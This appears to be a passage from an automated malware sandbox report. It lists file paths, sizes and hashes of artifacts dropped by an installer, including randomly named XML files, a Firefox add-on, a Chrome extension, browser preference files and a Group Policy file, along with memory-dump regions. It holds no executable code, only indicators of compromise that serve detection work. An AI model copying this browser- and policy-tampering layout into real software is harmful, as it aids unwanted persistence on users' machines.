SHA512d83d4c656c96c3d1809ad06ce78fa09a77781461c99109e4b81d1a186fc533a7e72d65a4cb7edf689eeccda8f687a13d3276f1111a1e72f7c3cd92a49bce0f88
-
C:\Program Files (x86)\OJLDvKxDU\BKIPaTw.xmlFilesize
2KB
MD5cb68e64eff78d6fec65f55841da53fce
SHA194eb34b1f6c81a6f76e7332a59effb2263250621
SHA256065d48399cda2dd3168f6080ef3949296c654e2a95cd7f0426597a22887f8067
SHA512c9821d980ff78dd169005f6006d4ea5311ed39ffcda2085966a8f801caf633ed9c5b6af2280a4d619b6af15e77478969302a7a55d4bd44ccda877921fede3cfa
-
C:\Program Files (x86)\jDcnSjPvYahU2\KDGdCWa.xmlFilesize
2KB
MD580a1d119fe4114a9ee03e60b51e9a3b0
SHA11499abbe632dbdd9b387138b80822902bfb05383
SHA25659499152d49392c9f64013ecb172626d8d6c7b0f48deb274b7db9045537f0469
SHA51236e7dd39545df679ab61c7aa8dd262975288a0bc8b53c2428b972d7d6da4a4b2eae794f05549bf01d915862b3100e9802bf6e5f19ef2a0ea57c2096baef39dcf
-
C:\Program Files (x86)\qpZxqHvFKXpRC\tIDwgVF.xmlFilesize
2KB
MD5ef0d5a430c2f85f225e50b0634f31a46
SHA1fed195159f52ee8bf187b8ae8ce22cb3fed6eea4
SHA25658eb9be5ab747f9a792837c26bcad6b229637f9e4100de94db17421cb54e7b6d
SHA512ddd8be23b84419d9172229137a269d8b4a2ffb7accdcd631c63f3d7b4181727a0d29b243235c40d1a2c6d89517704f54735a9fb0c82585ee00f9024f5590bba3
-
C:\Program Files (x86)\zpJNjIVgFcEwVtLiUsR\HdqGWZQ.xmlFilesize
2KB
MD58f00dac134e10b7be62f179ab3c2fc8f
SHA14c34f6df5c32328d0a4c2c2da466b2656a197651
SHA25628c13978823cad06ff80020268652341e2c28d7580937660f0b25ce3940fd519
SHA512cc41b23c58ed843e373fa5de8f826fddbb619ed88caf16688376b9ddb9f303707077cc6201c720be9e4a5aaef5b0315d4f36ae83cfd70f08872d4f4bee3a5f09
-
C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpiFilesize
2.0MB
MD5cafffccfb172aa9160b651e22a9dc7a1
SHA1fc170d365e4dcd3f335b72815b7a7c92378bf6e2
SHA25645c969e32358ea11183354b1303fe66df96294b87f0b1b1c7f29b6091c3c009d
SHA5128ba6cc456feb5335bc00870bc4a54cf408ed63737d1e37fd86b380919a9442fb65af13bacceea7e539b628ba6cd1dc8d9b47ff0300a91ae406433f9e4ffff626
-
C:\ProgramData\mMAjWdbxOIjSziVB\aruDGVn.xmlFilesize
2KB
MD5039473e62db52f2d36d45271312d9511
SHA1dfe6894accbced5d5515bd6d5cf88a17976218e7
SHA25675e232118bd36ae6e17bb240732dfdde97c8431d4f8d5370ce7725b24af2651b
SHA512d760b5c655138935afd47bb5e92579321511ce86f128ed1e60081f271826bbaf84d64e6e9685f9118a95fb092d31a7d6c5bcd3aa71102b8c3ac55ad459a51e21
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\_locales\en_GB\messages.jsonFilesize
187B
MD52a1e12a4811892d95962998e184399d8
SHA155b0ae8a7b5a5d6094827ede8e6a1d26d4b4a720
SHA25632b4406692c26b540fea815a9bb56df1f164140cd849e8025930b7425036cceb
SHA512bb54d5e8684a6bfeac559b7c7a7551eed6a8a43a4c6464218cb0adb1c89fea124b69760690c3124af86fa68ac3fdbe903eaa098f0af2b6a58f4702c803abc089
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\_locales\fa\messages.jsonFilesize
136B
MD5238d2612f510ea51d0d3eaa09e7136b1
SHA10953540c6c2fd928dd03b38c43f6e8541e1a0328
SHA256801162df89a8ad2b1a51de75e86eba3958b12960660960a5ffafe9bc55bc293e
SHA5122630dd7a3c17dc963b1a71d81295cf22f8b3838748b55c433318e1e22f5b143a6d374ca2e5a8420659fa130200fbaa4814d0f093b1eca244b5635a3b99878e1c
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\_locales\pt_BR\messages.jsonFilesize
150B
MD50b1cf3deab325f8987f2ee31c6afc8ea
SHA16a51537cef82143d3d768759b21598542d683904
SHA2560ec437af3f59fef30355cf803966a2b9a0cd9323d390297496f750775995a6bf
SHA5125bc1f5a2d38f4a071513e2ac25b241c8e5584bed8d77e7fc4194855898d51a328dd73200f5aae6c9bc1b2a304e40e56bc686192074bd8a1bcc98f4971dee428f
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\PreferencesFilesize
10KB
MD5b398b4ac8e29b21251ab30ff3e50162a
SHA1fac6a4b75217f2a41fba1ce4eefb319c624d2e12
SHA256f976da473f9ff1b732b34ee83a763e503550d18afcd89aa4321a764d3867044d
SHA512b8ad858bababefddef359df4c7b18281d90e3a3afaa01d7e7349ccc9a31caca5f6cc036668f3f7bd5667d2445e78acf95aaedd16fd1be2f527539a97f135bae6
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure PreferencesFilesize
34KB
MD561dc4b584b229a70cb94af00f58edc30
SHA152b58d0a8c98224e10c0fb66905fe0f86990e0c3
SHA2561463006c47f5b3a3653606c047b1bdc54cf9d16ef00000014063e0ba1b276d23
SHA51278b82bf6df11e1abc61ca71e23ecc864b95e9b8eb7d9331b759789ebb67756f5d48081e70e810ed991497c87aec070e8d9e32ef6a74ef37c19a37bd7aba9bb4e
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
12KB
MD55e6bc9cb3adafe3e0a7b8b56eaac1af3
SHA1b55368eb3daab332f2a05ce113fc72a605202e77
SHA256f0c35354f633f08c07a1304b8ee8351c6e9193f7acc5f9a77cfb28b60e3a71ec
SHA512e790582816ab1a188f20380e5f5a2b2410ef6777d48de46f21bc3fa688e42b74b2981fee50909cbfdf487bd3a0dfc1706e585bf952bb75283c645598c6eeabbd
-
C:\Users\Admin\AppData\Local\Temp\7zS5F56.tmp\Install.exeFilesize
6.6MB
MD5f8efb05b940b05fc74801b61b3c0f500
SHA18e3eb6d604f3552d48ebcb385fc2681716b172af
SHA25690c6b16de088ab3f5737bcb599bb9ffd69a28abd149ab986b7fe52ba8bb2f400
SHA512028ea55f06fbfb079673df19e6e6249e3a2107a3d5485586f8c18724bf0a6a996ea5a7e31721bed9f7bf677bbf789c596994601076c66676c92fbd3a94741fff
-
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uewhc3ju.tdm.ps1Filesize
1B
MD5c4ca4238a0b923820dcc509a6f75849b
SHA1356a192b7913b04c54574d18c28d46e6395428ab
SHA2566b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA5124dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
-
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\c5nsco79.default-release\prefs.jsFilesize
6KB
MD58a8c6b1dcd129221bf6188ac1bcb5374
SHA16a82ee20da36ed4f793ec935d95a2b3468600ce2
SHA25635cc4395aa28369cb1776b4cfdc9290fd2fbbac5d6b7c4d94fd8e826661fcd49
SHA5122b65c272529ad53093e7372cfc1d647a79bd7ded9d306848fa8889d256487ffe4dfa088fe8b404f7320974cb4cc21b5c880ed47989fc0430ee0da0870c23b84c
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.logFilesize
1KB
MD5e33ed3d4cc9b2e5a08ae25747ef47620
SHA1e2f4cfdd39bcb2eb1c05648a37a3d8536eaf19b7
SHA2560e7093450fb6bb5201b4291033daf6099881421ab47b122972e0249ef5b45a4f
SHA5129e990f7ca202c7ecc7a21dd2433055b71bd62f2e524f4702b674316effeb8fa37e891d40f3e6a960380dd7967033c7a7f235e73a3c434e97495e532309b4f95e
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
12KB
MD5e995f4c7f912bbc8f6fd44bc674c07ca
SHA1c93e0d67e90ed884e52a8c9c9c882bc0d7779deb
SHA2563c307c349ba549bf5320e66a295a122059a47d305ab48683d3abe6c60026d98d
SHA512affe02160c8c418d80407456313bf3b2aa9bbf7e8bf7651d250d8749450fce9a277661116d4e69f8add222fcef6b03860168a4f75f6df5faba549a992051c3ea
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
12KB
MD5283506936a0d7e0f5a42d3551102b318
SHA135979f02ee605d7cbc5388134024310e4cbbbcc0
SHA256d9fa278473f7c41a70478157ed0c8543c5d35139fd1a7356b127063c30dbcbaf
SHA512461bab7196bbb421a26c2f6300784fdf98f830705daf59f0800e1437dc065356c5f2f0bf7734f928532743d310c0082649fc44929f444a75453a92cf3f3bcbe2
-
C:\Windows\Temp\heXdjphsLYtTYYrU\weQzYuVu\ucdBTVu.dllFilesize
6.4MB
MD5f7abebf1d656904f55bdea5a2e997543
SHA12c4cb9048f84322cd7669ac00f0c1f8b05db339a
SHA2565b1c4471df887df5d3a4331470ffcaf008c79cbe17186de3e83342676684c862
SHA512cd04387851e4cb59f5286b5f62d0022ee7a546b74c22b3c7422476839e22c4caf4d91fe81ef2ea367f32e12bb4bbf03954644f2f03456c20eb270233229c09e1
-
C:\Windows\system32\GroupPolicy\Machine\Registry.polFilesize
6KB
MD5daa101f830f45a9c833d9c5d9fdfa363
SHA16dc60bcd936f541085880985f8da2cad56d5a93b
SHA256e1c7093f1d67539addd98d51d30dc903ae6e5eb2a39d68bbd26577d6c7e94243
SHA5124fa3f3352422e3cb9b4bd3734d35351e3493bd468ccc295844ca249e9204463943a2198450a0bc3c224a02c08308450c0e18a9f2eed3357e4cb27495dc5c20ed
-
memory/316-16-0x0000000010000000-0x00000000105D7000-memory.dmpFilesize
5.8MB
-
memory/1632-52-0x0000000010000000-0x00000000105D7000-memory.dmpFilesize
5.8MB
-
memory/2220-441-0x0000000003910000-0x0000000003EE7000-memory.dmpFilesize
5.8MB
-
memory/2224-57-0x0000000072440000-0x0000000072B2E000-memory.dmpFilesize
6.9MB
-
memory/2224-76-0x0000000072440000-0x0000000072B2E000-memory.dmpFilesize
6.9MB
-
memory/2224-58-0x0000000005D90000-0x0000000005DA0000-memory.dmpFilesize
64KB
-
memory/2224-59-0x0000000005D90000-0x0000000005DA0000-memory.dmpFilesize
64KB
-
memory/2224-60-0x0000000006C70000-0x0000000006FC0000-memory.dmpFilesize
3.3MB
-
memory/2224-72-0x0000000005D90000-0x0000000005DA0000-memory.dmpFilesize
64KB
-
memory/2224-61-0x0000000007090000-0x00000000070DB000-memory.dmpFilesize
300KB
-
memory/3156-105-0x00007FFF34730000-0x00007FFF3511C000-memory.dmpFilesize
9.9MB
-
memory/3156-104-0x000002A3E7820000-0x000002A3E7842000-memory.dmpFilesize
136KB
-
memory/3156-109-0x000002A3FFB10000-0x000002A3FFB86000-memory.dmpFilesize
472KB
-
memory/3156-128-0x000002A3E7770000-0x000002A3E7780000-memory.dmpFilesize
64KB
-
memory/3156-132-0x00007FFF34730000-0x00007FFF3511C000-memory.dmpFilesize
9.9MB
-
memory/3908-97-0x0000000072440000-0x0000000072B2E000-memory.dmpFilesize
6.9MB
-
memory/3908-96-0x0000000005B70000-0x0000000005B80000-memory.dmpFilesize
64KB
-
memory/3908-80-0x0000000072440000-0x0000000072B2E000-memory.dmpFilesize
6.9MB
-
memory/3908-82-0x0000000005B70000-0x0000000005B80000-memory.dmpFilesize
64KB
-
memory/3908-81-0x0000000005B70000-0x0000000005B80000-memory.dmpFilesize
64KB
-
memory/4264-202-0x0000000005790000-0x00000000057A0000-memory.dmpFilesize
64KB
-
memory/4264-159-0x0000000005790000-0x00000000057A0000-memory.dmpFilesize
64KB
-
memory/4264-160-0x0000000005790000-0x00000000057A0000-memory.dmpFilesize
64KB
-
memory/4264-163-0x0000000006470000-0x00000000067C0000-memory.dmpFilesize
3.3MB
-
memory/4264-154-0x0000000072330000-0x0000000072A1E000-memory.dmpFilesize
6.9MB
-
memory/4264-169-0x0000000006CC0000-0x0000000006D0B000-memory.dmpFilesize
300KB
-
memory/4264-203-0x0000000072330000-0x0000000072A1E000-memory.dmpFilesize
6.9MB
-
memory/4388-153-0x0000000009130000-0x00000000091B5000-memory.dmpFilesize
532KB
-
memory/4388-140-0x0000000010000000-0x00000000105D7000-memory.dmpFilesize
5.8MB
-
memory/4388-215-0x0000000009D90000-0x0000000009DF2000-memory.dmpFilesize
392KB
-
memory/4388-409-0x000000000A600000-0x000000000A6CB000-memory.dmpFilesize
812KB
-
memory/4388-398-0x000000000A570000-0x000000000A5F4000-memory.dmpFilesize
528KB
-
memory/4920-31-0x0000000008040000-0x000000000808B000-memory.dmpFilesize
300KB
-
memory/4920-25-0x0000000006D10000-0x0000000007338000-memory.dmpFilesize
6.2MB
-
memory/4920-30-0x0000000007B10000-0x0000000007B2C000-memory.dmpFilesize
112KB
-
memory/4920-29-0x0000000007740000-0x0000000007A90000-memory.dmpFilesize
3.3MB
-
memory/4920-28-0x00000000075C0000-0x0000000007626000-memory.dmpFilesize
408KB
-
memory/4920-27-0x0000000007630000-0x0000000007696000-memory.dmpFilesize
408KB
-
memory/4920-26-0x00000000073B0000-0x00000000073D2000-memory.dmpFilesize
136KB
-
memory/4920-32-0x0000000007D90000-0x0000000007E06000-memory.dmpFilesize
472KB
-
memory/4920-46-0x00000000066D0000-0x00000000066E0000-memory.dmpFilesize
64KB
-
memory/4920-24-0x00000000066D0000-0x00000000066E0000-memory.dmpFilesize
64KB
-
memory/4920-23-0x00000000066D0000-0x00000000066E0000-memory.dmpFilesize
64KB
-
memory/4920-47-0x0000000072360000-0x0000000072A4E000-memory.dmpFilesize
6.9MB
-
memory/4920-22-0x0000000072360000-0x0000000072A4E000-memory.dmpFilesize
6.9MB
-
memory/4920-21-0x0000000006650000-0x0000000006686000-memory.dmpFilesize
216KB